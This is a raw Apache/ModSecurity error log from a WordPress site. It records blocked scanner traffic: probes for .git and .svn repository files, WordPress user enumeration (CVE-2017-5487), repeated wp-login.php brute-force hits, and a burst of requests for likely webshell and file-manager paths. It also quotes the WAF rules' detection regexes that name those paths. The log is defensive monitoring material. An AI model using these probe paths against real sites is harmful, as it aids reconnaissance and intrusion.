[Fri Nov 21 06:56:21.161632 2025] [proxy_fcgi:error] [pid 13412:tid 13429] [client 66.249.64.66:54437] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2734:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...'
[Fri Nov 21 08:25:00.014724 2025] [:error] [pid 13412:tid 13439] [client 182.44.12.37:36565] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR-xXH3-knz3ZB6HogHrIQAAANY"]
[Fri Nov 21 14:52:27.880023 2025] [:error] [pid 25554:tid 25574] [client 213.21.239.4:48672] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aSAMKx-NtB-9AzFZrk4YQQAAARA"]
[Fri Nov 21 15:15:17.976276 2025] [:error] [pid 25429:tid 25434] [client 213.21.239.4:38612] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aSARhT4rZbRSr7vu-NOIIAAAAAE"]
[Fri Nov 21 15:51:30.112755 2025] [:error] [pid 25554:tid 25576] [client 213.21.239.4:43506] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.svn/wc.db"] [unique_id "aSAaAh-NtB-9AzFZrk5CgQAAARI"]
[Fri Nov 21 16:14:21.313125 2025] [:error] [pid 25430:tid 25469] [client 213.21.239.4:43232] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.svn/wc.db"] [unique_id "aSAfXapnWJcWt_4foXlNLwAAAEk"]
[Fri Nov 21 16:16:40.789932 2025] [:error] [pid 25521:tid 25532] [client 195.78.54.101:6598] [client 195.78.54.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.78.54.101, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSAf6PhXnBMilDddn3XzfwAAAMk"], referer: https://vetstars.com.au/wp-login.php?action=register
[Fri Nov 21 16:16:44.439403 2025] [:error] [pid 25521:tid 25543] [client 195.78.54.101:6522] [client 195.78.54.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.78.54.101, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSAf7PhXnBMilDddn3XzgwAAANQ"], referer: https://vetstars.com.au/wp-login.php?registration=disabled
[Fri Nov 21 18:45:31.924604 2025] [:error] [pid 25521:tid 25536] [client 104.28.240.83:17993] [client 104.28.240.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.240.83, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSBCy_hXnBMilDddn3Ud7AAAAM0"]
[Fri Nov 21 21:43:34.162348 2025] [:error] [pid 25431:tid 25494] [client 158.173.3.47:64017] [client 158.173.3.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.173.3.47, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSBshsklhXxmoIExII2hOQAAAIc"], referer: https://vetstars.com.au/wp-login.php?action=register
[Fri Nov 21 21:43:36.811668 2025] [:error] [pid 25431:tid 25497] [client 158.173.3.47:64127] [client 158.173.3.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.173.3.47, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSBsiMklhXxmoIExII2hPQAAAIo"], referer: https://vetstars.com.au/wp-login.php?registration=disabled
[Sat Nov 22 01:21:19.973202 2025] [:error] [pid 50057:tid 50062] [client 162.0.217.77:45778] [client 162.0.217.77] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users.json"] [unique_id "aSCfj1b9j9fTBoI0sRVIZAAAAQM"]
[Sat Nov 22 02:43:08.832066 2025] [:error] [pid 50057:tid 50081] [client 34.182.112.79:41798] [client 34.182.112.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aSCyvFb9j9fTBoI0sRVj6AAAARY"]
[Sat Nov 22 03:06:18.317444 2025] [:error] [pid 49642:tid 49910] [client 43.135.145.77:50934] [client 43.135.145.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSC4KoOXTPSuQfgUUtWteAAAAJM"]
[Sat Nov 22 03:52:53.275364 2025] [:error] [pid 53479:tid 53538] [client 103.167.150.158:59957] [client 103.167.150.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/media/system/js/core.js"] [unique_id "aSDDFW6cicFF3Aas-oQ7wQAAAII"]
[Sat Nov 22 03:56:11.615613 2025] [:error] [pid 53478:tid 53521] [client 49.7.227.204:33472] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aSDD2whUYdXBbQswAdTV4QAAAEw"]
[Sat Nov 22 03:58:32.879629 2025] [:error] [pid 53479:tid 53556] [client 35.187.222.91:40140] [client 35.187.222.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.187.222.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSDEaG6cicFF3Aas-oQ-BgAAAJQ"]
[Sat Nov 22 03:58:37.883709 2025] [:error] [pid 53479:tid 53552] [client 35.187.222.91:36294] [client 35.187.222.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.187.222.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSDEbW6cicFF3Aas-oQ-DQAAAJA"], referer: http://vetstars.com.au/wp-login.php
[Sat Nov 22 03:58:41.396107 2025] [:error] [pid 53478:tid 53528] [client 35.187.222.91:37106] [client 35.187.222.91] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aSDEcQhUYdXBbQswAdTWvgAAAFM"], referer: http://vetstars.com.au/wp-login.php
[Sat Nov 22 03:58:42.883310 2025] [:error] [pid 53566:tid 53586] [client 35.187.222.91:37294] [client 35.187.222.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.187.222.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSDEcsbSHDBkRbwMbd7zgAAAANI"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F
[Sat Nov 22 05:03:08.149266 2025] [:error] [pid 53477:tid 53483] [client 194.5.82.137:25879] [client 194.5.82.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSDTjH7Lu30Ku9O40aLDZAAAAAI"]
[Sat Nov 22 05:03:12.437754 2025] [:error] [pid 53479:tid 53536] [client 194.5.82.147:56653] [client 194.5.82.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSDTkG6cicFF3Aas-oRcagAAAIA"]
[Sat Nov 22 05:03:20.077890 2025] [:error] [pid 53479:tid 53548] [client 194.5.82.162:60967] [client 194.5.82.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSDTmG6cicFF3Aas-oRciwAAAIw"]
[Sat Nov 22 05:03:25.818368 2025] [:error] [pid 53477:tid 53503] [client 194.5.82.144:56101] [client 194.5.82.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSDTnX7Lu30Ku9O40aLDsgAAABY"]
[Sat Nov 22 05:03:33.161964 2025] [:error] [pid 25856:tid 25858] [client 194.5.82.143:47261] [client 194.5.82.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aSDTpRsTP0wy94zKUvGMvwAAAQA"]
[Sat Nov 22 05:03:35.172423 2025] [:error] [pid 25856:tid 25866] [client 194.5.82.153:61549] [client 194.5.82.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSDTpxsTP0wy94zKUvGM2AAAAQg"]
[Sat Nov 22 05:03:35.486635 2025] [:error] [pid 53479:tid 53549] [client 194.5.82.137:45627] [client 194.5.82.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aSDTp26cicFF3Aas-oRcqQAAAI0"]
[Sat Nov 22 05:03:35.681136 2025] [:error] [pid 53566:tid 53586] [client 194.5.82.127:46905] [client 194.5.82.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aSDTp8bSHDBkRbwMbd4amAAAANI"]
[Sat Nov 22 05:03:35.976441 2025] [:error] [pid 53478:tid 53512] [client 194.5.82.153:20201] [client 194.5.82.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aSDTpwhUYdXBbQswAdT2uQAAAEM"]
[Sat Nov 22 05:03:36.190900 2025] [:error] [pid 53478:tid 53529] [client 194.5.82.138:25649] [client 194.5.82.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aSDTqAhUYdXBbQswAdT2ugAAAFQ"]
[Sat Nov 22 05:03:38.613899 2025] [:error] [pid 53477:tid 53481] [client 194.5.82.156:37539] [client 194.5.82.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aSDTqn7Lu30Ku9O40aLD7AAAAAA"]
[Sat Nov 22 05:03:40.760657 2025] [:error] [pid 53477:tid 53497] [client 194.5.82.132:26625] [client 194.5.82.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/filemanager.php"] [unique_id "aSDTrH7Lu30Ku9O40aLD_wAAABA"]
[Sat Nov 22 05:03:44.706410 2025] [:error] [pid 25856:tid 25879] [client 194.5.82.134:34347] [client 194.5.82.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aSDTsBsTP0wy94zKUvGM_wAAARU"]
[Sat Nov 22 05:03:46.709228 2025] [:error] [pid 53477:tid 53487] [client 194.5.82.127:28351] [client 194.5.82.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aSDTsn7Lu30Ku9O40aLEHwAAAAY"]
[Sat Nov 22 05:03:49.015024 2025] [:error] [pid 53566:tid 53587] [client 194.5.82.118:51521] [client 194.5.82.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSDTtcbSHDBkRbwMbd4aygAAANM"]
[Sat Nov 22 05:03:58.485370 2025] [:error] [pid 53566:tid 53580] [client 194.5.82.139:45277] [client 194.5.82.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSDTvsbSHDBkRbwMbd4a9AAAAMw"]
[Sat Nov 22 05:04:00.643136 2025] [:error] [pid 53566:tid 53590] [client 194.5.82.128:35901] [client 194.5.82.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aSDTwMbSHDBkRbwMbd4a-QAAANY"]
[Sat Nov 22 05:04:02.995329 2025] [:error] [pid 53477:tid 53484] [client 194.5.82.163:26991] [client 194.5.82.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aSDTwn7Lu30Ku9O40aLEYgAAAAM"]
[Sat Nov 22 05:04:05.002396 2025] [:error] [pid 53566:tid 53582] [client 194.5.82.106:46299] [client 194.5.82.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSDTxcbSHDBkRbwMbd4bBgAAAM4"]
[Sat Nov 22 05:04:13.148963 2025] [:error] [pid 53479:tid 53542] [client 194.5.82.125:30753] [client 194.5.82.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSDTzW6cicFF3Aas-oRdMQAAAIY"]
[Sat Nov 22 05:04:15.461850 2025] [:error] [pid 53479:tid 53546] [client 194.5.82.131:46797] [client 194.5.82.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSDTz26cicFF3Aas-oRdOgAAAIo"]
[Sat Nov 22 05:04:17.822809 2025] [:error] [pid 53566:tid 53568] [client 194.5.82.117:57167] [client 194.5.82.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSDT0cbSHDBkRbwMbd4bQQAAAMA"]
[Sat Nov 22 05:04:19.107314 2025] [:error] [pid 25856:tid 25880] [client 194.5.82.159:40745] [client 194.5.82.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aSDT0xsTP0wy94zKUvGNjgAAARY"]
[Sat Nov 22 05:04:19.396692 2025] [:error] [pid 53477:tid 53487] [client 194.5.82.105:22981] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSDT037Lu30Ku9O40aLEogAAAAY"]
[Sat Nov 22 05:04:26.650448 2025] [:error] [pid 25856:tid 25865] [client 194.5.82.118:46297] [client 194.5.82.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aSDT2hsTP0wy94zKUvGNrQAAAQc"]
[Sat Nov 22 05:04:26.903011 2025] [:error] [pid 53478:tid 53533] [client 194.5.82.128:49633] [client 194.5.82.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aSDT2ghUYdXBbQswAdT3ngAAAFg"]
[Sat Nov 22 05:04:27.122140 2025] [:error] [pid 53477:tid 53501] [client 194.5.82.127:29503] [client 194.5.82.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSDT237Lu30Ku9O40aLEzAAAABQ"]
[Sat Nov 22 05:04:44.061851 2025] [:error] [pid 53478:tid 53528] [client 194.5.82.131:55779] [client 194.5.82.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aSDT7AhUYdXBbQswAdT39gAAAFM"]
[Sat Nov 22 05:04:48.482793 2025] [:error] [pid 53566:tid 53591] [client 194.5.82.150:64835] [client 194.5.82.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.150, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aSDT8MbSHDBkRbwMbd4bkQAAANc"]
